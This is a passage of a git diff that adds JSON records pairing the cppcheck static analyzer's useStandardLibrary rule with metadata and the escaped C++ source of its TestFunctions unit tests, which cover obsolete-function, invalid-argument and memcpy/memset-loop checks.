\"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"auto f() {\\n\"\n \" return std::runtime_error(\\\"abc\\\");\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:1:1]: (debug) auto token with no type. [autoNoType]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #11543\n \" S() {}\\n\"\n \" std::vector> v;\\n\"\n \" void f(int i) const;\\n\"\n \"};\\n\"\n \"void S::f(int i) const {\\n\"\n \" for (const std::shared_ptr& c : v)\\n\"\n \" c->f(i);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\"\n \" struct S { static const std::set s; };\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" const auto& t = N::S::s;\\n\"\n \" if (t.find(\\\"abc\\\") != t.end()) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"void f(std::vector>>& v, int i, int j) {\\n\"\n \" auto& s = v[i][j];\\n\"\n \" s.insert(0);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector& v, int i, char c) {\\n\"\n \" const auto& s = v[i];\\n\"\n \" return s.find(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #11604\n \" int (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" INT (*g)() = nullptr;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T;\\n\"\n \"std::shared_ptr get();\\n\"\n \"void f(int i) {\\n\"\n \" auto p = get();\\n\"\n \" p->h(i);\\n\"\n \" p.reset(nullptr);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:5:8]: (information) --check-library: There is no matching configuration for function T::h() [checkLibraryFunction]\\n\",\n errout_str());\n\n check(\"struct S : std::vector {\\n\"\n \" void f(int i) { push_back(i); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto g = []() -> std::string { return \\\"abc\\\"; };\\n\"\n \" auto s = g();\\n\"\n \" if (s.at(0)) {}\\n\"\n \" auto h{ []() -> std::string { return \\\"xyz\\\"; } };\\n\"\n \" auto t = h();\\n\"\n \" if (t.at(0)) {}\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", filter_valueflow(errout_str()));\n\n check(\"::std::string f(const char* c) {\\n\" // #12365\n \" return ::std::string(c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"struct S : public std::vector {\\n\"\n \" void resize(size_t n) { std::vector::resize(n); }\\n\"\n \"};\\n\", dinit(CheckOptions, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct P {\\n\" // #13105\n \" bool g(int i) const;\\n\"\n \" std::shared_ptr> m;\\n\"\n \"};\\n\"\n \"bool P::g(int i) const {\\n\"\n \" auto it = m->find(i);\\n\"\n \" const bool b = it != m->end();\\n\"\n \" return b;\\n\"\n \"}\\n\", dinit(CheckOptions, $.s = &s));\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:6:5]: (debug) auto token with no type. [autoNoType]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary1() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary2() {\n check(\"void f(void* dest, void const* src, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (reinterpret_cast(src))[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary3() {\n check(\"void f(void* dst, const void* src, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; count > i; i++)\\n\"\n \" ((char*)dst)[i] = ((const char*)src)[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary4() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memcpy instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n // different indexes\n void checkUseStandardLibrary5() {\n check(\"void f(void* dst, void* src, const size_t size, const size_t from_idx) {\\n\"\n \" for (size_t i = 0; i < size; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[from_idx];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // unknown count\n void checkUseStandardLibrary6() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; ((int8_t*)src)[i] != 0; ++i) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment with 2\n void checkUseStandardLibrary7() {\n check(\"void f(void* dst, void* src, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 2) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t*)src)[i];\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // right argument of assignment could be static_cast, functional cast, c-style and implicit cast\n // functional cast case not covered\n void checkUseStandardLibrary8() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < count; ++i)\\n\"\n \" (reinterpret_cast(dest))[i] = static_cast(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary9() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" (reinterpret_cast(dest))[i] = (static_cast(0));\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary10() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" size_t i;\\n\"\n \" for (i = 0; i < size; i++)\\n\"\n \" ((char*)dst)[i] = (const char)0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary11() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = ((int8_t)0);\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary12() {\n check(\"void f(void* dst, const size_t size) {\\n\"\n \" for (size_t i = 0; i < size; i += 1) {\\n\"\n \" ((int8_t*)dst)[i] = 42;\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary13() {\n check(\"void f(void* dest, const size_t count) {\\n\"\n \" for (size_t i = 0; i < count; i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n\n void checkUseStandardLibrary14() {\n check(\"void f(void* dest) {\\n\"\n \" for (size_t i = 0; i < sizeof(int)*(15 + 42/2 - 7); i++) {\\n\"\n \" reinterpret_cast(dest)[i] = '0';\\n\"\n \"}}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Consider using std::memset instead of loop. [useStandardLibrary]\\n\", errout_str());\n }\n};\n\nREGISTER_TEST(TestFunctions)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/useStandardLibrary.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/useStandardLibrary.json new file mode 100644 index 0000000..edda30e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckFunctions/useStandardLibrary.json @@ -0,0 +1,35 @@ +{ + "name": "useStandardLibrary", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 86, + "branches": 18, + "apis": 69, + "test": [ + { + "description": null, + "expected-problems": 14, + "expected-linenumbers": [ + 2181, + 2190, + 2198, + 2207, + 2216, + 2225, + 2234, + 2244, + 2253, + 2261, + 2270, + 2278, + 2286, + 2294 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkfunctions.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestFunctions : public TestFixture {\npublic:\n TestFunctions() : TestFixture(\"TestFunctions\") {}\n\nprivate:\n const Settings settings = settingsBuilder().severity(Severity::style).severity(Severity::warning).severity(Severity::performance).severity(Severity::portability).\n certainty(Certainty::inconclusive).c(Standards::C11).cpp(Standards::CPP11).library(\"std.cfg\").library(\"posix.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n // Prohibited functions\n TEST_CASE(prohibitedFunctions_posix);\n TEST_CASE(prohibitedFunctions_index);\n TEST_CASE(prohibitedFunctions_qt_index); // FP when using the Qt function 'index'?\n TEST_CASE(prohibitedFunctions_rindex);\n TEST_CASE(prohibitedFunctions_var); // no false positives for variables\n TEST_CASE(prohibitedFunctions_gets); // dangerous function\n TEST_CASE(prohibitedFunctions_alloca);\n TEST_CASE(prohibitedFunctions_declaredFunction); // declared function ticket #3121\n TEST_CASE(prohibitedFunctions_std_gets); // test std::gets\n TEST_CASE(prohibitedFunctions_multiple); // multiple use of obsolete functions\n TEST_CASE(prohibitedFunctions_c_declaration); // c declared function\n TEST_CASE(prohibitedFunctions_functionWithBody); // function with body\n TEST_CASE(prohibitedFunctions_crypt); // Non-reentrant function\n TEST_CASE(prohibitedFunctions_namespaceHandling);\n\n // Invalid function usage\n TEST_CASE(invalidFunctionUsage1);\n TEST_CASE(invalidFunctionUsageStrings);\n\n // Invalid function argument\n TEST_CASE(invalidFunctionArg1);\n\n // Math function usage\n TEST_CASE(mathfunctionCall_fmod);\n TEST_CASE(mathfunctionCall_sqrt);\n TEST_CASE(mathfunctionCall_log);\n TEST_CASE(mathfunctionCall_acos);\n TEST_CASE(mathfunctionCall_asin);\n TEST_CASE(mathfunctionCall_pow);\n TEST_CASE(mathfunctionCall_atan2);\n TEST_CASE(mathfunctionCall_precision);\n\n // Ignored return value\n TEST_CASE(checkIgnoredReturnValue);\n TEST_CASE(checkIgnoredErrorCode);\n\n // memset..\n TEST_CASE(memsetZeroBytes);\n TEST_CASE(memsetInvalid2ndParam);\n\n // missing \"return\"\n TEST_CASE(checkMissingReturn1);\n TEST_CASE(checkMissingReturn2); // #11798\n TEST_CASE(checkMissingReturn3);\n TEST_CASE(checkMissingReturn4);\n TEST_CASE(checkMissingReturn5);\n TEST_CASE(checkMissingReturn6); // #13180\n\n // std::move for locar variable\n TEST_CASE(returnLocalStdMove1);\n TEST_CASE(returnLocalStdMove2);\n TEST_CASE(returnLocalStdMove3);\n TEST_CASE(returnLocalStdMove4);\n\n TEST_CASE(returnLocalStdMove5);\n\n TEST_CASE(negativeMemoryAllocationSizeError); // #389\n\n TEST_CASE(checkLibraryMatchFunctions);\n\n TEST_CASE(checkUseStandardLibrary1);\n TEST_CASE(checkUseStandardLibrary2);\n TEST_CASE(checkUseStandardLibrary3);\n TEST_CASE(checkUseStandardLibrary4);\n TEST_CASE(checkUseStandardLibrary5);\n TEST_CASE(checkUseStandardLibrary6);\n TEST_CASE(checkUseStandardLibrary7);\n TEST_CASE(checkUseStandardLibrary8);\n TEST_CASE(checkUseStandardLibrary9);\n TEST_CASE(checkUseStandardLibrary10);\n TEST_CASE(checkUseStandardLibrary11);\n TEST_CASE(checkUseStandardLibrary12);\n TEST_CASE(checkUseStandardLibrary13);\n TEST_CASE(checkUseStandardLibrary14);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool cpp = true;\n const Settings* s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings& s = options.s ? *options.s : settings;\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this, options.cpp);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void prohibitedFunctions_posix() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" bsd_signal(SIGABRT, SIG_IGN);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'bsd_signal' called. It is recommended to use 'sigaction' instead. [bsd_signalCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int bsd_signal(0);\\n\"\n \" return bsd_signal;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct hostent *hp;\\n\"\n \" if(!hp = gethostbyname(\\\"127.0.0.1\\\")) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Obsolescent function 'gethostbyname' called. It is recommended to use 'getaddrinfo' instead. [gethostbynameCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" long addr;\\n\"\n \" addr = inet_addr(\\\"127.0.0.1\\\");\\n\"\n \" if(!hp = gethostbyaddr((char *) &addr, sizeof(addr), AF_INET)) {\\n\"\n \" exit(1);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (style) Obsolescent function 'gethostbyaddr' called. It is recommended to use 'getnameinfo' instead. [gethostbyaddrCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_index() {\n check(\"namespace n1 {\\n\"\n \" int index(){ return 1; };\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" n1::index();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::size_t f()\\n\"\n \"{\\n\"\n \" std::size_t index(0);\\n\"\n \" index++;\\n\"\n \" return index;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" return this->index();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int index( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const char f()\\n\"\n \"{\\n\"\n \" const char var[6] = \\\"index\\\";\\n\"\n \" const char i = index(var, 0);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\",\n errout_str());\n }\n\n void prohibitedFunctions_qt_index() {\n check(\"void TDataModel::forceRowRefresh(int row) {\\n\"\n \" emit dataChanged(index(row, 0), index(row, columnCount() - 1));\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\"\n \"[test.cpp:2:37]: (style) Obsolescent function 'index' called. It is recommended to use 'strchr' instead. [indexCalled]\\n\", // duplicate\n errout_str());\n }\n\n void prohibitedFunctions_rindex() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int rindex( 0 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" const char var[7] = \\\"rindex\\\";\\n\"\n \" print(rindex(var, 0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Obsolescent function 'rindex' called. It is recommended to use 'strrchr' instead. [rindexCalled]\\n\", errout_str());\n }\n\n\n void prohibitedFunctions_var() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" Fred() : index(0) { }\\n\"\n \" int index;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_gets() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = gets(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" foo(x, gets(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_alloca() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\"); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning) Obsolete function 'alloca' called. [allocaCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:15]: (warning) Obsolete function 'alloca' called. In C99 and later it is recommended to use a variable length array instead. [allocaCalled]\\n\", errout_str());\n\n const Settings s = settingsBuilder(settings).c(Standards::C89).cpp(Standards::CPP03).build();\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.s = &s)); // #4382 - there are no VLAs in C++\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s)); // #7558 - no alternative to alloca in C89\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *x = alloca(10);\\n\"\n \"}\", dinit(CheckOptions, $.cpp = false, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // ticket #3121\n void prohibitedFunctions_declaredFunction() {\n check(\"int ftime ( int a )\\n\"\n \"{\\n\"\n \" return a;\\n\"\n \"}\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" int b ; b = ftime ( 1 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // test std::gets\n void prohibitedFunctions_std_gets() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" char *y = gets(str);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:15]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n }\n\n // multiple use\n void prohibitedFunctions_multiple() {\n check(\"void f(char * str)\\n\"\n \"{\\n\"\n \" char *x = std::gets(str);\\n\"\n \" usleep( 1000 );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\"\n \"[test.cpp:4:5]: (style) Obsolescent function 'usleep' called. It is recommended to use 'nanosleep' or 'setitimer' instead. [usleepCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_c_declaration() {\n check(\"char * gets ( char * c ) ;\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Obsolete function 'gets' called. It is recommended to use 'fgets' or 'gets_s' instead. [getsCalled]\\n\", errout_str());\n\n check(\"int getcontext(ucontext_t *ucp);\\n\"\n \"void f (ucontext_t *ucp)\\n\"\n \"{\\n\"\n \" getcontext ( ucp ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (portability) Obsolescent function 'getcontext' called. Applications are recommended to be rewritten to use POSIX threads. [getcontextCalled]\\n\", errout_str());\n }\n\n void prohibitedFunctions_functionWithBody() {\n check(\"char * gets ( char * c ) { return c; }\\n\"\n \"int main ()\\n\"\n \"{\\n\"\n \" char s [ 10 ] ;\\n\"\n \" gets ( s ) ;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_crypt() {\n check(\"void f(char *pwd)\\n\"\n \"{\\n\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:20]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char *pwd = getpass(\\\"Password:\\\");\"\n \" char *cpwd;\"\n \" crypt(pwd, cpwd);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:57]: (warning) Return value of function crypt() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:57]: (portability) Non reentrant function 'crypt' called. For threadsafe applications it is recommended to use the reentrant replacement function 'crypt_r'. [cryptCalled]\\n\", errout_str());\n\n check(\"int f()\\n\"\n \"{\\n\"\n \" int crypt = 0;\"\n \" return crypt;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void prohibitedFunctions_namespaceHandling() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" auto lt = std::localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:37]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Passed as function argument\n check(\"void f()\\n\"\n \"{\\n\"\n \" printf(\\\"Magic guess: %d\\\", getpwent());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:31]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Pass return value\n check(\"void f()\\n\"\n \"{\\n\"\n \" time_t t = 0;\"\n \" struct tm *foo = localtime(&t);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: (portability) Non reentrant function 'localtime' called. For threadsafe applications it is recommended to use the reentrant replacement function 'localtime_r'. [localtimeCalled]\\n\", errout_str());\n\n // Access via global namespace\n check(\"void f()\\n\"\n \"{\\n\"\n \" ::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Return value of function ::getpwent() is not used. [ignoredReturnValue]\\n\"\n \"[test.cpp:3:7]: (portability) Non reentrant function 'getpwent' called. For threadsafe applications it is recommended to use the reentrant replacement function 'getpwent_r'. [getpwentCalled]\\n\", errout_str());\n\n // Be quiet on function definitions\n check(\"int getpwent()\\n\"\n \"{\\n\"\n \" return 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on other namespaces\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar::getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Be quiet on class member functions\n check(\"void f()\\n\"\n \"{\\n\"\n \" foobar.getpwent();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void invalidFunctionUsage1() {\n check(\"void f() { memset(a,b,sizeof(a)!=12); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,sizeof(a)!=0); }\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"void f() { memset(a,b,!c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6990\n check(\"void f(bool c) { memset(a,b,c); }\");\n ASSERT_EQUALS(\"[test.cpp:1:29]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n check(\"void f() { memset(a,b,true); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\", dinit(CheckOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n // Ticket #6588 (c++ mode)\n check(\"void record(char* buf, int n) {\\n\"\n \" memset(buf, 0, n < 255);\\n\" /* KO */\n \" memset(buf, 0, n < 255 ? n : 255);\\n\" /* OK */\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (error) Invalid memset() argument nr 3. A non-boolean value is required. [invalidFunctionArgBool]\\n\", errout_str());\n\n check(\"int boolArgZeroIsInvalidButOneIsValid(int a, int param) {\\n\"\n \" return div(a, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (error) Invalid div() argument nr 2. The value is 0 or 1 (boolean) but the valid values are ':-1,1:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void boolArgZeroIsValidButOneIsInvalid(int param) {\\n\"\n \" strtol(a, b, param > 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Invalid strtol() argument nr 3. The value is 0 or 1 (boolean) but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,1); }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Invalid strtol() argument nr 3. The value is 1 but the valid values are '0,2:36'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f() { strtol(a,b,10); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\" // #10754\n \" int N = -1;\\n\"\n \" for (long i = 0; i < g(); i++)\\n\"\n \" N = h(N);\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:14]: (warning) Invalid v.resize() argument nr 1. The value is -1 but the valid values are '0:'. [invalidFunctionArg]\\n\", errout_str());\n\n check(\"void f(std::vector& v, int N) {\\n\"\n \" if (N < -1)\\n\"\n \" return;\\n\"\n \" v.resize(N);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:4:14]: (warning) Either the condition 'N<-1' is redundant or v.resize() argument nr 1 can have invalid value. The value is -1 but the valid values are '0:'. 